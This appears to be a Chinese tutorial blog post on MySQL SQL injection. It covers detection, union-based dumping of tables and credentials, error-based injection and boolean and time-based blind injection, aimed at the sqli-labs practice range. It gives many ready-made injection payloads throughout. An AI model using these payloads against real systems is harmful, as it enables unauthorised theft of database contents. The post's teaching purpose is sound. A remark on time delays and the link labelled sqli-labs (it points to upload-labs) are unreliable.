漏洞原理篇---数据库注入攻击(Mysql)
数据库注入攻击
一、什么是数据库注入攻击。
服务端在接收来自客户端的查询参数后,未对查询参数进行严格的过滤。导致恶意用户可在查询参数中插入恶意的sql语句来查询数据库中的敏感信息,最终造成数据库信息泄露。
二、注入攻击的分类。
按查询数据的提交方式分为GET型注入和POST型注入。
按查询数据的类型分为数值型注入和字符型注入。
按攻击方式分为基于union联合查询的注入、基于报错的注入、盲注(时间盲注、布尔盲注)
三、确定是否存在数据库注入漏洞。
举一个简单的列子,当存在以下图片中的查询页面时,测试输入1得到返回结果,可以在url栏中发现提交的查询参数id是以get提交方式发送给服务器的。
当我们测试输入1' 时,返回结果如下图。当服务端解析执行到 1' 时,触发sql语法报错并返回报错信息,此时可以确定存在字符型注入漏洞,闭合符为单引号。并推测服务端的查询语句为
"select user_name,user_id from users where user_id='$user_id' "
确定存在数据库注入漏洞后,需要我们去闭合插入参数之后的sql语句,以下为常用的方法。
id=1' and '1'='1 //闭合后面剩下的 单引号
id=1'# //#为mysql中的注释符,直接将后面的Sql语句注释掉
id=1'%23 //%23 为 # 的url 编码
小结:测试是否存在注入 id=1' id=1" id=1') 等等
四、数据库注入攻击方式的解析。
1,基于union联合查询的注入
当存在注入时,使用union联合查询查询数据库中信息的步骤:
(1)确定查询字段。
//使用union select 确定字段数
id=1'union select 1,2,3..... and '1'='1
//使用order by确定字段数
id=1'order by 1 %23
(2)查询当前数据库名及数据库信息。
id=1' union select version(),database()%23
(3)查询数据库中的表。
id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()'%23
//group_concat() 对一列数据做拼接,并自动以逗号分隔。
(4)查询表中的字段信息。
id=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23
(5)查询表格数据。
id=1' union select 1,concat(username,0x7e,password) from users%23
//concat() 对数据进行拼接,默认不会添加分隔符。
2,基于报错的Mysql注入
(1)floor() + rand() + group by 报错
基础知识:
floor(N) 函数,取小于等于N的最大整数。
rand() 生成[0,1) 之间的浮点数,当设置种子为N时,生成的随机数是伪随机的,多次生成的数都是固定的。如图floor(rand(0) * 2) 函数生成的随机数依次为0110110等等。
as alias_name,避免查询复杂,将前面的语句取一个别名。
group by,按照查询的某个字段对查询结果进行分组。在分组时会新建一个空表,用于存放分组数据。
count() ,聚合函数,统计相同的元组个数。
报错语句
select 1,concat(0x7e,(version()),0x7e,floor(rand(0)*2))as a from information_schema.columns group by a; // 0x7e 为符号 ~,用于分隔参数
//详细原理分析,此处贴一链接:https://www.cnblogs.com/Triomphe/p/9489639.html
(2)基于 extractvalue(xml_str,Xpath) 函数的报错注入
该函数使用Xpath表示法从XML 字符串中提取值,任意一个参数为NULL时,返回结果为NULL。当我们构造不符合规定的Xpath时,数据库就会报语法错误并打印Xpath。
如查询语句 select extractvalue(1,concat(0x7e,(database()),0x7e)); 执行结果报错,打印出了当前数据库名信息
(3)基于updatexml(xml,Xpath,new_xml) 函数的报错注入
updatexml() 函数使用new_xml 参数根据Xpath来替换xml字符串中的内容,和extractvalue() 函数的原理一样,插入错误Xpath,报错打印数据库信息。
如查询语句select updatexml(1,concat(0x7e,(user()),0x7e),1); 执行后报错,打印输出了当前数据库用户为root
3,盲注
有时存在注入漏洞,但利用条件苛刻,需要插入更复杂的SQL语句进行注入。比如服务端执行SQL语句后,不会返回任何信息给客户端 或者 只返回TRUE和FALSE 两个值。这时就需要用到 时间延迟注入和布尔注入了,下面解释这两种注入方式的原理。
(1)bool 注入
当我们的查询结果只返回TRUE 和 FALSE(对和错)时,就需要我们对数据库中的信息依次猜测并判断,当我们猜测的信息正确时,服务端就会返回TRUE,否则返回FALSE。
如语句 select database(),10=length(database()) ,判断当前数据库名的长度是否为10,为真返回1,否则返回0。
布尔注入中,常用的Mysql 函数及语句
length(),返回字符串参数的长度。用于判断数据库名、表名、列名等信息长度。
substr(str,start[,length]),字符串截取函数,start为截取的起始索引(字符串索引从1开始),length为截取的长度。
mid(str,start[,length]), 字符串截取函数。
ascii(),返回字符的ascii 码值。
limit 子句,用于限制查询结果的返回数量,常用于分页查询,limit有1个或2个参数,查询结果的索引起始为0
如limit 0,1 从返回的第1条记录开始截取,共截取1条记录。
如limit 2,3 冲返回的第3条记录开始截取,共截取3条。
当报错信息超过32位字符时,只显示前32位字符,此时需要使用mid()和substr() 函数对信息进行截取,来获取之后的内容。
(2)时间延迟注入
当提交查询参数后,固定回显某一信息或无回显任何信息,此时无法判断注入的SQL语句是否执行,执行是否正确。这就可以用到时间延迟注入了。时间注入可以说是在bool注入的基础上加以利用的。我们依然是对数据库中的信息依次猜测并判断,如果猜测内容为真,则执行我们插入的sleep() 函数。
我们可以观察浏览器的响应时间。当猜测正确时,我们提交的sleep() 函数会在服务端的数据库上执行,这样浏览器的响应时间就会有明显的延迟,如果太大的延迟就说明猜测的内容错误。
列举 sqli-labs 靶场中的 Less-9,无论id的值为什么,都显示You are in.....,这时可以提交如下SQL语句猜测数据库中的信息,并观察浏览器的响应时间确认猜测的内容是否正确。
id=1' and if(8=length(database()),sleep(5),1) and '1'='1
可以看到浏览器正在等待服务器的响应,证明语句 8=length(database()) 为真,执行了sleep(5) 函数。
五,推荐
最后推荐sqli-labs 靶场,多练习注入漏洞,加深对漏洞的理解及利用。
sqli-labs:https://github.com/c0ny1/upload-labs